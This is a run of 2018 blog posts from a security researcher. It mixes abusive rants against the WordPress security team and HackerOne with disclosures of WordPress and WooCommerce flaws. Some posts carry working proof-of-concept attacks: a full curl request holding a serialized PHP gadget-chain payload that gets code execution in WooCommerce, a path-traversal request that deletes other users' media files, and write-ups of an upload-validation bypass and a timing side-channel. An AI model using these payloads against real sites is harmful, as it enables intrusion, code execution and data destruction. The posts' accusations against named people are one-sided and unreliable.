Today I was ready to share something more interesting about my lovely punch bag, but let us put a break and go step by step. WP and its related companies are putting their security exclusively in the hands of #bugbounty platform and it is impossible to work with them over another communication channels. That is why every knowledge regarding WP security I’ll share only with forks CalmPress and ClassicPress (if they want it) and plugin vendors who are not associated with them. They can read here and step by step to find vulnerabilities in their products based on conclusions from published CTF challenges (everything will be 0day issue).

Few months back I had reported security issue towards Woo project and they fixed it twice, here and here again :D :D :D

I have already shared the attack vector after the first “fix” right before seccond one was ready.

CTF task

Setup & task (described with shop manager):

• Install the latest WordPress
• Grab the woocommerce-3–4–5
• Perform the same attack with Contributor user role

Promo

If you are wp developer or wp host provider or wp security product provider with valuable list of clients, we offer subscription list and we are exceptional (B2B only).

CTF — Woo HerringPress was originally published in websec on Medium, where people are continuing the conversation by highlighting and responding to this story.

WordPress world is facing interesting point in its existence — release of gutenber. Everyone involved in WordPress in any way, knows that time in near future, for every WordPress related discussion will be measured in pre / after gutenberg terminology due changes that will be bring to us. This point in WordPress existence caused a lot of buzz around. Many forks are announced(only two are public: ClassicPress and CalmPress ), accessibility team lead resigned due very strong personal & professional reasons, many plugin developers started to show their concerns regarding future of their products… At the end, accessibility concerns and issues become most loud in WordPress world. There is going a lot, but I must say from my perspective of view, many folks are abusing this movement in order to achieve something else…

Reason for writing this

It is simple, few people from the WP security team started with their behavior very well known to anyone who ever submitted vulnerability towards WordPress, finishing with ranting and making fun of WordPress on social networks. It is really interesting to see someone is really happy to put his criticism towards another people work, to measure pixels, to simulate first time on the keyboard experience, to cover himself under accessibility movement while in his area to practice censorship, ignorance and to delay its responsibilities, directly exposing complete eco system under a threat. You know, in order to be able someone to experience accessibility issues in one system, that system must be working for him at the first place.

Edit: Today 7th of November 2018 another hero took my attention.

I've written down my thoughts about the WordPress 5.0 timeline: https://t.co/KTk1ywtTmf

 — @jdevalk

The interesting thing about all of those (anti)gutenberg write ups is the following(they all seem to be written from some weird template):

• they wrote the blog posts with gutenberg
• accessibility concerns are must
• and main reasons for delay of the release date are bugs they faced

Good! Was WordPress bug free until now? Even more, this guru says he have 10 developers involved in the story, but 10 days before gutenberg release he decided to go public and to announce that it is a crap… Well done :D :D :D
I don’t know if he have/sponsor some security team member, but if he was all in about accessibility and bug free WordPress then we would see a lot of reactions in the past.

Insecure systems are not accessible at all

Here we need to ask few questions towards security team that is accessibility related!

• How easy those people can handle ban from shared hosting of their WordPress due some silly DoS attack performed from phone?
• How easy those people can handle data breach in their community, e-commerce, media setups?
• How easy those people will adapt on new software if their company decide to move towards another solutions due WP security issues?

There are many more questions and many many more use cases, but the fact remains that after a few years, WordPress security team, do almost nothing about any high / critical issue reported towards them, not to mention the fact that all of the issues at the end finished published as 0days.

Crocodile tears for accessibility was originally published in websec on Medium, where people are continuing the conversation by highlighting and responding to this story.

ImageMagic

We all know about ImageTragic and current ghoscript issues. In the past even WordPress shared their concerns, but is this enough? Past and current issues in IM coders (ghostscript can’t be disabled, will make it useless) will result in RCE towards the server, but as we all know WP is web application and impact from image processing libraries need to be considered from every perspective. This means that LFI, SSRF are also valid issues that could result in RCE towards WP and those scenarios aren’t taken into consideration.

From IM specification we can learn that many image formats are supported and many of them have some exotic features, but also from its code we can learn that not every supported format ships desired security considerations…

Images

Yes, WP supports upload of images (form upload, via its services endpoints or simply by pooling images from external locations — check popular plugins) and it supports image manipulation via wp_get_image_editor . From the code we learn that image format is determined by its extension wp_check_filetype and image processing library is chosen. ( If installed on the server/PHP ImageMagic) will be used and that means that if magic bytes and image format doesn’t work IM will try to solve the image, but also there is option IM to switch to another format processing while doing first one… Everyone will say that those are the final steps and image validation is done while setting image under storage / uploads directory. Yes, but check this one… or maybe there is option to completely bypass those lousy checks and put a file as valid image based only on its extension?

Summary

WordPress is doing nothing from image validation perspective ( not talking about another file formats if allowed for upload, but for it defaults) and like that gives open door towards:

1. RCE attacks
2. LFI — will result in RCE towards WP
3. SSRF — will result in RCE in some modern hosting choices
4. CSRF — in case of browser content players usage

Regarding server side software updates please take in consideration installed PHP versions on production servers, operating systems, IM version out there…

Image is witness for the beauty, good, bad, scotch… :D

Promo

If you are wp developer or wp host provider or wp security product provider with valuable list of clients, we offer subscription list and we are exceptional (B2B only).

ImagePress NOT was originally published in websec on Medium, where people are continuing the conversation by highlighting and responding to this story.

Now let we focus on technical part and the RCE issue in current version of WooCommerce and after that I’ll explain why again disclosure and who is Azis the scotch lover.

Issue

As you all know, due the fact H1 as bug bounty platform steal from researchers under command from their JE shit machine, I had decided to go away from H1 until they put their “self proclaimed king of bug bounty” under control. That is why I had contacted “lovely” people from Automattic via email and gave them the issue. It is “unserialization of user input” that results with RCE in WooCommerce.

Issue exists in function wc_create_attribute and is caused by changing values inside string (serialized array in our case) out of the serialize / unserialize PHP routines.

--------------------
$wpdb->query(
    $wpdb->prepare(
     "UPDATE {$wpdb->postmeta} SET meta_value = REPLACE( meta_value, %s, %s ) WHERE meta_key = '_product_attributes'",
     's:' . $old_attribute_name_length . ':"pa_' . $args['old_slug'] . '"',
     's:' . $attribute_name_length . ':"pa_' . $data['attribute_name'] . '"'
    )
   );
--------------------

Technique for placing your payload in serialized output where manipulation of the string is done out of the serialize / unserialize PHP functions is described here and have many (not everything is disclosed) use cases / 0days.

Fix

Suddenly in two weeks in my inbox, developer showed up and told me that fix is deployed and credits are given.

Why this happened

I was full of questions why I wasn’t asked for credits information and why I wasn’t asked to check the “solution”?! I know the answer, I got it! When I reported the issue, some Barry over there wasn’t too much worried regarding the issue, but told me that they can’t give me a bounty, due the fact I don’t use H1. I told him to focus on the problem and to leave “bounty” thing for the end of the process… That was the last contact and then “fix” showed up… H1 platform put all of those program managers into some sort of authorities mode with knowledge that they can hold researchers as hostages due some shitty bounties and to do what they want… No my friends .!.

Vulnerability

As I stated before wc_create_attribute function is vulnerable one. Guide how to exploit this vulnerability will give you idea if you already don’t know what is this vulnerability about. On your local WooCommerce setup:

1. In your /wp-admin/edit.php?post_type=product&page=product_attributes create attribute with name and slugwoo .
2. Create demo product ( simple one and virtual in my case) — save it
3. Add attribute test with value payload and capture the request. Will look something like this:

curl 'http://localhost/wpm/wcwp/wp-admin/admin-ajax.php' -H 'Cookie: wordpress_9885605d7e885262072a743d3cad590e=root%7C1539242989%7C5kmTl0sBjba6aI2qPk0Y2AuwwLmalX71vCaKOjUMDeu%7C4b8e2ff115b842870275a29e130279a35fc4a8880be9df869c4d0c65a8b6865e; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9885605d7e885262072a743d3cad590e=root%7C1539242989%7C5kmTl0sBjba6aI2qPk0Y2AuwwLmalX71vCaKOjUMDeu%7Cfe2b2f68b3d71bd4e9f60c5c6e0d2232605d43e5eaedad160193a1c423e656b9; wp-settings-time-1=1539119916; __ar_v4=DCRDZA4OZJCETF5N5YL5SU%3A20180321%3A4%7CZAMJKSSZRREUVAYSLZ2K6S%3A20180321%3A4%7CQQBLQGEK7FB4RBKP6CVHTS%3A20180321%3A4; _wpfuuid=3bc2a390-6279-4d85-8a89-3309ccd1f201' -H 'Origin: http://localhost' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.8' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Accept: */*' -H 'Referer: http://localhost/wpm/wcwp/wp-admin/post.php?post=10&action=edit' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' --data 'post_id=10&product_type=simple&data=attribute_names%255B0%255D%3Dtest%26attribute_position%255B0%255D%3D0%26attribute_values%255B0%255D%3Dpayload%26attribute_visibility%255B0%255D%3D1&action=woocommerce_save_attributes&security=70d4636c87' --compressed

4. Replace the payload with the following string

s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22%22%3Bs%3A10%3A%22is_visible%22%3Bi%3A1%3Bs%3A12%3A%22is_variation%22%3Bi%3A0%3Bs%3A11%3A%22is_taxonomy%22%3Bi%3A0%3Bs%3A3%3A%22boo%22%3BO%3A19%3A%22WC_Log_Handler_File%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handles%22%3BC%3A33%3A%22Requests_Utility_FilteredIterator%22%3A82%3A%7Bx%3Ai%3A0%3Ba%3A2%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22azisY%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7D%7D%7D%7D

You will get this one:

curl 'http://localhost/wpm/wcwp/wp-admin/admin-ajax.php' -H 'Cookie: wordpress_9885605d7e885262072a743d3cad590e=root%7C1539242989%7C5kmTl0sBjba6aI2qPk0Y2AuwwLmalX71vCaKOjUMDeu%7C4b8e2ff115b842870275a29e130279a35fc4a8880be9df869c4d0c65a8b6865e; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_9885605d7e885262072a743d3cad590e=root%7C1539242989%7C5kmTl0sBjba6aI2qPk0Y2AuwwLmalX71vCaKOjUMDeu%7Cfe2b2f68b3d71bd4e9f60c5c6e0d2232605d43e5eaedad160193a1c423e656b9; wp-settings-time-1=1539119916; __ar_v4=DCRDZA4OZJCETF5N5YL5SU%3A20180321%3A4%7CZAMJKSSZRREUVAYSLZ2K6S%3A20180321%3A4%7CQQBLQGEK7FB4RBKP6CVHTS%3A20180321%3A4; _wpfuuid=3bc2a390-6279-4d85-8a89-3309ccd1f201' -H 'Origin: http://localhost' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.8' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Accept: */*' -H 'Referer: http://localhost/wpm/wcwp/wp-admin/post.php?post=10&action=edit' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' --data 'post_id=10&product_type=simple&data=attribute_names%255B0%255D%3Dtest%26attribute_position%255B0%255D%3D0%26attribute_values%255B0%255D%3Ds%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22s%3A6%3A%22pa_woo%22%22%3Bs%3A10%3A%22is_visible%22%3Bi%3A1%3Bs%3A12%3A%22is_variation%22%3Bi%3A0%3Bs%3A11%3A%22is_taxonomy%22%3Bi%3A0%3Bs%3A3%3A%22boo%22%3BO%3A19%3A%22WC_Log_Handler_File%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handles%22%3BC%3A33%3A%22Requests_Utility_FilteredIterator%22%3A82%3A%7Bx%3Ai%3A0%3Ba%3A2%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22azisY%22%3B%7D%3Bm%3Aa%3A1%3A%7Bs%3A11%3A%22%00%2A%00callback%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7D%7D%7D%7D%26attribute_visibility%255B0%255D%3D1&action=woocommerce_save_attributes&security=70d4636c87' --compressed

5. Go to the /wp-admin/edit.php?post_type=product&page=product_attributes and change the attribute and slugwoo into azisftw appropriately, save.

6. Visit the product page /product/azis-demo-product/ in my case and you will see something like this

7. Yes it is RCE, move attribute / slug into woo and continue with store usage.

Attack surface

Attack surface is much more bigger and demo described in this writing is just PoC. Hint: watch the problematic query ;-)

Why disclosing this way

I wrote to the developer that fix isn’t complete immediately when I saw the released version. Normally everyone there were watching towards me from Azis with scotch perspective and were like: we are not convinced in what you are talking about. After that they got convinced, they were shown the path Azis with scotch always forced and recommended, but as you can see they are comfortable to discriminate and underestimate people from that subjective point of view, but are not ready to apply those “solutions” in their products. I’m really sad to say this, but discrimination, supremacist behavior and underestimation towards people based on their origin are main attributes that WP rockstars have and like that they are transferred towards their associates causing huge loss for everyone! Those attributes are just boosted with usage of the H1 platform and I had already explained that.

They send Azis to make interview for opera singer position

WordPress Cracked

WordPress from security aspect is put in the hands of few people who have nothing to do with security. They are put there and they got the attitude, same as “mad king of bug bounty” always protected by “anti-soviet” super hero, who don’t get things clearly, but is stronK. With this attitude they have fractured WordPress so hard making it NOT USABLE except in the form of publishing platform for one user. This is first writing in the series I have announced and this one presents WordPress vulnerability, known by the WordPress security team, but not announced towards developers… As always…

Promo

If you are wp developer or wp host provider or wp security product provider with valuable list of clients, we offer subscription list and we are exceptional (B2B only).

WooCommerce and Azis with scotch was originally published in websec on Medium, where people are continuing the conversation by highlighting and responding to this story.

Punter is interesting word. Have two meanings:

• In the US/Canada means football position
• In England/Europe means person who places bets

Well those meanings have something in common e.g. when punters fail in their actions, then consequences are quite big towards their surrounding. Now, it is time to reveal the punters. Yes, you guess! They are WordPress security team and their PR person a.k.a. security team lead who is remarkable person, baked e.g. put on that position by two big authorities!

Intro

For those who don’t want to see the complete video I’ll put the major points from it e.g. things that lead towards this writing and are real proof regarding the fact how much centralized+corrupted this eco system become!

https://videos.files.wordpress.com/R6JqEiTB/video-6a9a3f3ccc_hd.mp4

1. Ghetto: Hackerone
2. Gang: 50+ members security team (should be extended with members of another popular plugins)
3. C&C server: Centralized update mechanism

Ghetto: Hackerone

In the presentation is told the flow e.g. the live cycle of security issues reported towards a “team” and tools used. At the top is placed H1 and below there are all of the remaining tools / systems which are more than enough for controlling and handling security of one software. From my and another researchers experience, H1 is used as (don’t think it is abused by WordPress, H1 has nothing to do with “Responsible Disclosure” — foundation of the platform) extremely effective tool for silencing the reporters towards WordPress project and for evasion of responsible disclosure rules. Usually this is the case:

1. Bug is reported
2. Triaged
3. Radio silence for 3 months at least
4. Security team asks for extra 3 months
5. Reporter hits mediation
6. Got their 3 months from support
7. Radio silence
8. Disclosure

There is no need to believe me (read another posts here regarding WP, all of them are 0days/not fixed today), check this presentations from Orange Tsai and Sam Thomas, 0days too. Check the not patched DoS issue. Check the obscure updates from Scott Arciszewski. Check the REST API… (fuck I haven’t reported this one yet O_o).
Conclusion is the following: Neither one of the severe issues that are result of BROKEN core are fixed, neither bounty is given and H1 and its personal are used only as tool for silencing researchers and delaying of patches! Neither one time WP “security” team have requested help from anyone for applying patch under normal conditions! They “cooperate” while they steal from you (rant master and PR person show) or when split credits for nothing (PR person fence).

Gang: security team

Security team as PR peson states it counts 50+ persons. They are some faces from wp community (selling them self as wp security experts), but also there are people from some of the acceptable companies, not everyone is welcomed there (there are millions installs plugins that doesn’t have anyone there, but there are ones who “sponsor” camps and place silent patches before an others — it is open source morons )! As some of them state: “If it is reported isn’t 0day”, which is absolute truth! This means my fellow hosting providers, plugin and theme developers that you are loosing e.g. you are always step back with your competition if they have their own member there or are close with someone from the gang! This means, they have a year at least advantage to apply best security practices in their products, gain huge advantage, lowering their costs and building their brands!

C&C server: centralized update server

Here there isn’t too much need to be spoken. This system is used to push updates for their (gang) own sites, for their broken themes and plugins, while the rest are leaved to face their destiny: ban from wordpress repository and hard wiping from news outlets (regarding outlets there are some information's yet to be revealed… ). Regarding “security” of the web sites, please note that updates aren’t push everywhere at the same time, they go step by step. What do you think, is there some order maybe? Can update system be abused from someone to reach your infrastructure? :)

WordPress community — cracked

Many people have faced the arrogance and egoism from WordPress security and core team. They feel the pain, the know the place is getting centralized, they know it will be worst than it is. They know their word isn’t heard from anyone. They know that good intentions are always abused by them. They know when wp “authorities” are kind there is something much more…

That is why cracks in the community are obvious. There is first promising fork of the WordPress — ClassicPress. There are few another I’m aware of that are preparing for action! I know there is a “core” group ready for coup… Interesting times ahead of us and no, it isn’t your fault, go continue be yourself on some of the upcoming forks, new projects or maybe on refreshed WordPress!

Sorry!

No song…

Advice

In case you want to increase your WP systems security you can get few points from above. I would advice to track in details fixes that are pushed by WP puppets, always have dummy / honeypot wp instance (for updates and attacks) and never trust words and empty promises!

When punters fail they hide in the ghetto was originally published in websec on Medium, where people are continuing the conversation by highlighting and responding to this story.

Wordpress have suffered from Arbitrary file deletion that leads towards RCE. In our lovely relationship with WP PR person I have stated quite clearly that offered solution isn’t good at all and in his style confirmed the time frame (one month v.s. his six months) when I’ll tell him why solution isn’t good. Also I had written a little teaser regarding the release where low severity of the issue is presented, but there is one interesting paragraph that says:

How the vulnerability was fixed? With words: limit the file deletion only for the same folder and make sure thumbnail isn’t used by another media file e.g. check if there is media file with the same name.

The Question

How is the folder location retrieved? It is taken from the $file variable and we have:

$file = get_attached_file( $post_id );

and in get_attached_file we discover that it is taken from _wp_attached_file meta value.
This value is placed as input in the wp_delete_attachment_files function and in this function we have the following:

$thumbdir  = path_join( $uploadpath['basedir'], dirname( $file ) );

and continues towards

wp_delete_file_from_directory( $thumbfile, $thumbdir )

Known facts

From everything above and from the past we know the following:

• we can delete files as thumbnails from same folder that aren’t used by another media file
• There is raw input for _wp_attached_file meta value
• Folder is delivered by realpath from dirname($file)
• From PHP specification dirname doesn’t bother with file system, but it is string manipulation function

Conclusion e.g. why fix isn’t good and issue exists

Any author on any Wordpress system could set any value for _wp_attached_file which will be concatenated with upload directory => we can reach the WP root directory depending of the setup e.g. ../../../readme.txt . Then if we set ../../../wp-config.php for thumb value from any input we are in the same situation like in WP 4.9.6 e.g. RCE with Author role.

What is next

Now core team has complete freedom to apply correct patch towards WP and this metasploit module needs to be updated. Also, my dear bug bounty hunters, feel free fill some reports :)

Dear WordPress I will always lovz ju ❤

Promo

If you are wp developer or wp host provider or wp security product provider with valuable list of clients, we offer subscription list and we are exceptional (B2B only).

Wordpress 4.9.7 — RCE via Author was originally published in websec on Medium, where people are continuing the conversation by highlighting and responding to this story.

The Fix

We will go trough the fix, but as they said (PR fixes security issues), it was so scotch!

How the vulnerability was fixed? With words: limit the file deletion only for the same folder and make sure thumbnail isn’t used by another media file e.g. check if there is media file with the same name.

Here and here.

The scotch problem

When someone (security team at this moment) is working on patching the Wordpress core then they must know the fact that Wordpress as CMS has built in few user roles and its api allows user capabilities. This means that when they apply some solution, the fact that permission escalation is possible must be always taken into consideration. Also, they need to know that file system is also storage, in the same way how DB is storage.

So, they introduce (left intact) possibility for any `author` user to delete any file under the upload directory where he has access.

Attack

curl 'http://localtarget.scotch/wp-admin/post.php?post=[media_file_id]&action=editattachment&_wpnonce=[wpnonce]' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.8' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Cache-Control: max-age=0' -H 'Cookie: [your-authentication-cookies]' -H 'Connection: keep-alive' -d 'thumb=../07/so-scotch.png' --compressed

• [media_file_id] is media id
• [wpnonce] is the nonce used for edit form under “wp-admin/post.php?post=[media_file_id]&action=edit”
• [your_authentication_cookies] — cookies…
• thumb = ../07/so-scotch.png is a demo attack vector how to trick the “another thumbnail usage check” and to escalate your permissions and to delete media file that doesn’t belong to you and is used on the wp instance.

Mitigation

Always pay the author users for their work and be careful with scotch.

Promo

If you are wp developer or wp host provider or wp security product provider with valuable list of clients, we offer subscription list and we are exceptional (B2B only).

Wordpress ≥ 4.9.7 and evil author with scotch was originally published in websec on Medium, where people are continuing the conversation by highlighting and responding to this story.

I won’t write too much regarding wp druids (security team), but I’ll make clear that after 11 months the issue remains not patched, while the fix is obviously trivial. So, this disclosure is more than responsible disclosure (if wp team member click on the link to get the idea behind responsible disclosure).

Vulnerability description

Wordpress handles the content verification for images via wp_check_filetype_and_ext function. There we have the following:

1. First it takes the mime and extension from file extension via wp_check_filetype
2. Then checks for real mime $real_mime = wp_get_image_mime( $file );
3. The protection comes here: if ( $real_mime && $real_mime != $type ) { This means if we are able to make wp_get_image_mime function to return false we have a bypass if fileinfo extension check returns something else like application/octet-stream which will be found in $allowed = get_allowed_mime_types(); => ext and type will be taken from extension check at the beginning :)

Let we check!

1. Regarding SWF format type we have the following information from the specification:

0x5a, 0x57, 0x53 (“ZWS”). A ZWS indicates that the entire file after the first 8 bytes (that is,
after the FileLength field) was compressed by using the LZMA open standard: http://www.7-zip.org/sdk.html. ZWS file compression is permitted in SWF 13 or later only.

2. getimagesize and exif_imagetype functions used in wp_get_image_mime function at PHP level they use php_getimagetype PHP function in order to get the image type, but from the php source image.c we can notice that from the SWF formats, only "CWS" and "FWS" are known for this function, but not the "ZWS" format. This means that getimagesize ["meta"] value and exif_imagetype will return false/empty value as image type.

Attack surface

Content above teach us valuable lesson and it means that any dangerous format which isn’t detected by PHP via php_getimagetype function and not recognized by fileinfo (application/octet-stream) or recognized with mime type application/ and found in get_allowed_mime_types() will mean upload of dangerous content with valid image extension.

Affected PHP versions

• PHP 5.x will allow upload of SWF file in ZWS format with image extension.
• PHP 5.x and 7.x will allow PDF format with image extension
• PHP 5.x and 7.x will allow any format playable in browser player with image extension

Teaser for researchers

If you craft fake PNG file with following contentZWS0ftypqtblablablaPNG/giberish... and you try it against any PHP version fileinfowhat will be mime type returned? :)

Why this happened and why disclosing this way

It happened simply because someone wasn’t following advice given on the official PHP documentation and lack of QA team and average security testing. Disclosure come this way due the fact that Wordpress security team doesn’t practice responsible disclosure and they were thinking that prolonging the fix will lower the impact (PHP 5.6 and Flash). All of this is absolutely covered by #respectthefounders platform because they haven’t employed any mechanism to protect the researchers being harassed. I have placed a bet against H1 support (request mediation) that beside the words of wp sec team they will not deliver fix in 3 months after 5 months spent and I won. Got a fidget spinner and a lovely t-shirt :D :D :D

Promo

If you are wp developer or wp host provider or wp security product provider with valuable list of clients, we offer subscription list and we are exceptional (B2B only).

Fixed lvl GoatPress was originally published in websec on Medium, where people are continuing the conversation by highlighting and responding to this story.

Lets jump to the details!

Short

You need 3 endpoints. First one which will always (rare changes) return the same content for every users on the system and holds ~10KB data. Second one which will always return empty response (size is constant for all of the users too). From those two endpoints we determine the speed of the victim towards server side at the very same moment, and if we know the timing towards endpoint 3 (under attack)+ we know the speed at that particular time, if we measure each JSON encoded record average size => we have the count of the records.

Detailed

PoC platform will be HackerOne and due the fact they know and acknowledge the issue here I’ll dump the information needed in order to understand the attack.

1. report ID on the platform is incremental. => We can measure the number of reports submitted towards platform from one known report ID towards another. Very valuable info for later stages.
2. When user is not logged in and loads some json endpoint that requires user authentication, http 400 code will be returned. That causes attacking <img> tag not to be loaded e.g. timing attack to make it impossible => we can remote determine if user is logged in on HackerOne or not. Very valuable info for later stages.

Now we know how to travel trough the time (via report_id) and we can remotely with one request to determine if victim is logged in.

1. Need to have HackerOne profile in order to find vulnerable endpoints
2. Need to find 3 interesting endpoints with the following characteristics:
   
   (2.1) Endpoint that holds valuable data as number of triaged + critical reports where report id nolds XYZTRA numbers ( you can determine time of the report via report id ) (https://hackerone.com/bugs.json?text_query=4&subject=&sort_type=pg_search_rank&substates%5B%5D=triaged)
   (2.2) Endpoint that returns minimal response and could be considered equal with empty response (https://hackerone.com/bugs.json?text_query=999999&subject=&sort_type=pg_search_rank&substates%5B%5D=triaged)
   (2.3) Endpoint that will hold decent amount of data (~10KB) and that data is not changed very often in order to eliminate/lower server side processing difference from the equation (https://hackerone.com/programs/search.json?query=IBB&sort=published_at%3Adescending&page=1)
3. Minimal 2.2 and targeted 2.1 endpoints need to have same/similar server side complexity ( 2.1 with empty text_query is much faster than 2.2. with text_query = 999999999 )
4. On stable and descent internet connection calculate the following:
   (4.1) Average time of loading 2.2 and 2.3
   (4.2) AVG_TIME(2.3) — AVG_TIME(2.2) = AVG_TIME_DATA_ONLY(2.3)
   (4.3) SPEED_ME (B per ms) = (SIZE(2.3) — SIZE(2.2))/AVG_TIME_DATA_ONLY(2.3) this is the speed towards HackerOne infrastructure.
   (4.4) Monitoring many different responses with the same form as 2.1 we can calculate each json record average size — we can call it ONE_JSON ~ 850B ( this calculation must be based from the response side perspective due the fact it is traveling gzip-ed )
   (4.5) Calculate the average time of loading 2.1 AVG_TIME(2.1) and AVG_TIME(2.1) — AVG_TIME(2.2) = AVG_TIME_DATA_ONLY(2.1)
   (4.6) SPEED_ME * AVG_TIME_DATA_ONLY(2.1) = SIZE_DATA_ONLY(2.1) and if you divide with ONE_JSON it will give number of records.

This procedure and calculations could be performed offline e.g. attacker needs only measured times against those 3 interesting endpoints and calculations could be performed later.

This approach gives more than good results e.g. simple average values, but sometimes due browser / internet latency some tests are failing e.g. give weird values. Those sets of data is also good data and we can learn a lot from it. See the sample!

My endpoint https://hackerone.com/bugs.json?text_query=4&subject=&sort_type=pg_search_rank&substates%5B%5D=triaged&rnd=GG1526245410G291 gives 5 records, but in one particular measurement my miner script gave me -1 records. If we visualize it

Now from the image if more than obvious that some of the requests timings are adding noise to the end result. Simple clean up e.g. considering:

1. Big request — green > 1600
2. Small request — red < 750
3. Attack endpoint — yellow < 900

Now we got

e.g. average calculation will return back the correct number of records ~5.

This way I have proved that any remote attacker could measure the number of reports from certain type in given time interval that party/user under attack has.

Exploitation

JSON endpoints that are returning HTTP response code != 200 for not logged in users are telling you if user is logged in or not. This means if you find a way to measure the internet speed of the victim (see details) via endpoints with known output (minimal and big) then getting conclusions based on counting from attacking / interesting endpoints is more than easy. I have prepared already a very effective attack scripts, so if you want to check your own api, say hello and I can help.

Advisory

Add CSRF tokens even on GET API endpoints if you host sensitive data and you don’t want remote attacking party to be able to count victim records. Never use incremental ID values that could be used as time travelers and make sure always to return HTTP 200 status code.

Why disclosing?

Due the fact I got permission to do it, H1 thinks leaking this info doesn’t have any impact (I disagree because I don’t want with remember me for two weeks functionality some website to know number of my reports from certain type, rewards,… ) and due the fact it was marked Duplicate with 4 years old issue, plus https://twitter.com/Hacker0x01/status/994987768513101824

JSON endpoints without tokens doesn’t leak they whisper was originally published in websec on Medium, where people are continuing the conversation by highlighting and responding to this story.

• https://hackerone.com/reports/179920
• https://medium.com/websec/wordpress-sqli-bbb2afcc8e94

in the Wordpress core via public writings and dummy PR, but security issues need to be solved by tech persons and their advice should be considered regarding the facts and not regarding the number of followers on social media.

Despite all of the advice's and tries (see h1 report and my medium writings) security team of Wordpress doesn’t recognize any of the issues and now all of us need to handle the consequences of their decisions.

Fix of the database abstraction library introduced 3 new vulnerabilities in the Wordpress core and the first one e.g. PHP object injection resulted with 2 critical vulnerabilities in quite popular wordpress plugins managed by Automattic:

